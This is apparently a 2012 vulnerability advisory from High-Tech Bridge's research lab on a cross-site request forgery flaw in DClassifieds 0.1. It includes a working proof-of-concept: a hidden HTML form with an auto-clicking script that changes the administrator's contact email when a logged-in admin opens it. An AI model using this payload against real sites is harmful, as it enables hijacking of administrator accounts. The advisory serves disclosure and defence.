CSRF (Cross-Site Request Forgery) in DClassifieds

Advisory ID: HTB23067
Reference: https://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_dclassifieds.html
Product: DClassifieds
Vendor: www.dclassifieds.eu ( http://www.dclassifieds.eu/ )
Vulnerable Version: 0.1 final and probably prior
Tested Version: 0.1 final
Vendor Notification: 04 January 2012
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk Level: Low
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in DClassifieds, which can be exploited to perform Сross-Site Request Rorgery (CSRF) attacks.

The application allows authorized users to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to change administrator's password or email.

An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.

This PoC code will change administrator's email:

<form action="http://[host]/admin/settings/update/id/4" method="post">
<input type="hidden" name="Settings[setting_name]" value="CONTACT_EMAIL">
<input type="hidden" name="Settings[setting_value]" value="[email protected]">
<input type="hidden" name="Settings[setting_description]" value="Contact email">
<input type="hidden" name="Settings[setting_show_in_admin]" value="1">
<input type="hidden" name="yt0" value="Save">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>

Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.